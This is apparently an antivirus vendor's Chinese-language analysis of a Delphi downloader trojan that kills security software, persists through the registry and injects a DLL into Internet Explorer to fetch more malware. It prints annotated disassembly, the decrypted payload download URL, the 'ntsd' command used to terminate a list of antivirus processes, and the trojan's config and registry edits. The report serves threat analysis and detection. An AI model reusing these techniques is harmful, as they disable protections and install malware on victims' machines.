一、病毒标签：
病毒名称：  AV终结者新变种TrojWare.Win32.TrojanDownloader.KillAV
病毒类型：  下载者
文件SHA1： 3ed481ed4280121aea776575a3417a45a2f833b2
危害等级：  3
文件长度：  脱壳前40,703 字节，脱壳后200,656 字节
受影响系统：Microsoft Windows NT 4.0
Microsoft Windows NT 4.0 Terminal Services Edition
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows Server 2003
开发工具： Delphi
加壳类型： Upack 0.3.9 beta2s -> Dwing

二、病毒描述：
   病毒复制自身到系统system\目录，文件名称jjxzwzjy090121.exe，并释放出jjxzajcj32dl.dll。劫持杀软，jjxzajcj32dl.dll注

入到ie后访问并下载大量病毒木马。

三、行为分析：
1、病毒复制自身到系统system\目录，文件名称jjxzwzjy090121.exe，并释放出jjxzajcj32dl.dll。

Upack:00178CA6                 call    @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
.Upack:00178CAB                 push    offset aJjxzwzjy ; "jjxzwzjy"
.Upack:00178CB0                 push    dword_17B6E4
.Upack:00178CB6                 push    offset a_exe    ; ".exe"
.Upack:00178CBB                 mov     eax, offset dword_17B674
.Upack:00178CC0                 mov     edx, 3
.Upack:00178CC5                 call    @System@@LStrCatN$qqrv ; System::__linkproc__ LStrCatN(void)
.Upack:00178CCA                 mov     eax, offset dword_17B670
.Upack:00178CCF                 mov     ecx, dword_17B674
.Upack:00178CD5                 mov     edx, dword_17B6D0
.Upack:00178CDB                 call    @System@@LStrCat3$qqrv ; System::__linkproc__ LStrCat3(void)
.Upack:00178CE0                 mov     eax, offset dword_17B71C
.Upack:00178CE5                 mov     edx, dword_17B670 ; C:\WINDOWS\system\jjxzwzjy090121.exe

Upack:00178D3B                 call    CopyFileA       ; 将自身复制到C:\WINDOWS\system\jjxzwzjy090121.exe

Upack:00178F05                 call    sub_177E54      ; 修改注册表达到自启动目的
.Upack:00178F53                 call    modify_reg_     ; 修改注册表键值：dlncjjcdfc
.Upack:00178F53                                         ; 指向数据：%SystemRoot%\system\jjxzwzjy090102.exe，提权，遍

历进程

Upack:00178A58                 mov     eax, offset aStartup ; "Startup"
.Upack:00178A5D                 call    @System@@LStrCopy$qqrv ; System::__linkproc__ LStrCopy(void)
.Upack:00178A62                 mov     ecx, [ebp-28h]
.Upack:00178A65                 mov     edx, offset aSoftwareMicr_2 ; 

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
.Upack:00178A6A                 mov     eax, 80000001h
.Upack:00178A6F                 call    RegQueryValueExA_1 ; 注册表查询键值

Upack:00178A84                 mov     eax, offset a32333831303938 ; "323338313039383237363430363835326A777C7"...
.Upack:00178A89                 call    @Adodb@TCustomADODataSet@ClearCalcFields$qqrpc ; 

Adodb::TCustomADODataSet::ClearCalcFields(char *)
.Upack:00178A8E                 mov     edx, [ebp-2Ch]
.Upack:00178A91                 mov     eax, offset dword_17B720
.Upack:00178A96                 call    @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
.Upack:00178A9B                 lea     edx, [ebp-30h]
.Upack:00178A9E                 mov     eax, dword_17B720
.Upack:00178AA3                 call    sub_174E44      ; 解密call，解密后为hxxp://www.a3168.com/mydown.asp

.Upack:00178B32                 call    sub_174A58      ; 提权
.Upack:00178B37                 call    sub_176E4C      ; avp.e

Upack:00178C8C                 call    sub_176960      ; 遍历枚举下列安全进程名，一旦发现尝试使用“ntsd -c q –p pid

”命令关闭该安全进程，实现自身的保护
.Upack:00178C8C                                         ; RUNIEP.exe
.Upack:00178C8C                                         ; KRegEx.exe
.Upack:00178C8C                                         ; KVXP.kxp
.Upack:00178C8C                                         ; 360tray.exe
.Upack:00178C8C                                         ; RSTray.exe
.Upack:00178C8C                                         ; QQDoctor.exe
.Upack:00178C8C                                         ; DrRtp.exe

Upack:00178E3C                 call    WritePrivateProfileStringA_0 ; 写入文件C:\Documents and Settings\All 

Users\jjjydf16.ini
.Upack:00178E3C                                         ; 内容为：
.Upack:00178E3C                                         ; [mydown]
.Upack:00178E3C                                         ; old_exe=
.Upack:00178E3C                                         ; old_dll32=
.Upack:00178E3C                                         ; ver=090121
.Upack:00178E3C                                         ; fnexe=C:\WINDOWS\system\jjxzwzjy090121.exe
.Upack:00178E3C                                         ; reg_start=dlmcjjcdfc
.Upack:00178E3C                                         ; fn_dll=C:\WINDOWS\system\jjxzajcj32dl.dll

Upack:001782A8                 mov     edx, offset aIexp ; "iexp"
.Upack:001782AD                 call    @System@@LStrCat$qqrv ; System::__linkproc__ LStrCat(void)
.Upack:001782B2                 mov     eax, ebx        ; iexplore.exe
.Upack:001782B4                 mov     edx, offset aLore_exe ; "lore.exe"
.Upack:001782B9                 call    @System@@LStrCat$qqrv ; System::__linkproc__ LStrCat(void)
.Upack:001782BE                 push    offset aNo      ; "no"
.Upack:001782C3                 mov     ecx, offset aCheck_associat ; "Check_Associations"
.Upack:001782C8                 mov     edx, offset aSoftwareMicros ; Software\Microsoft\Internet Explorer\Main
.Upack:001782CD                 mov     eax, 80000001h
.Upack:001782D2                 call    modify_reg_
.Upack:001782D7                 push    0               ; hKey
.Upack:001782D9                 mov     ecx, offset aEnableautodial ; "EnableAutodial"
.Upack:001782DE                 mov     edx, offset aSoftwareMicr_0 ; 

Software\Microsoft\Windows\CurrentVersion\Internet Settings
.Upack:001782E3                 mov     eax, 80000001h
.Upack:001782E8                 call    RegSetValueExA_0
.Upack:001782ED                 push    0               ; hKey
.Upack:001782EF                 mov     ecx, offset aNonetautodial ; "NoNetAutodial"
.Upack:001782F4                 mov     edx, offset aSoftwareMicr_0 ; 

Software\Microsoft\Windows\CurrentVersion\Internet Settings
.Upack:001782F9                 mov     eax, 80000001h
.Upack:001782FE                 call    RegSetValueExA_0
.Upack:00178303                 push    0               ; hKey
.Upack:00178305                 mov     ecx, offset aCheckedvalue ; "CheckedValue"
.Upack:0017830A                 mov     edx, offset aSoftwareMicr_1 ; 

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
.Upack:0017830F                 mov     eax, 80000002h
.Upack:00178314                 call    RegSetValueExA_0 ; 修改注册表键值
.Upack:00178319                 xor     eax, eax

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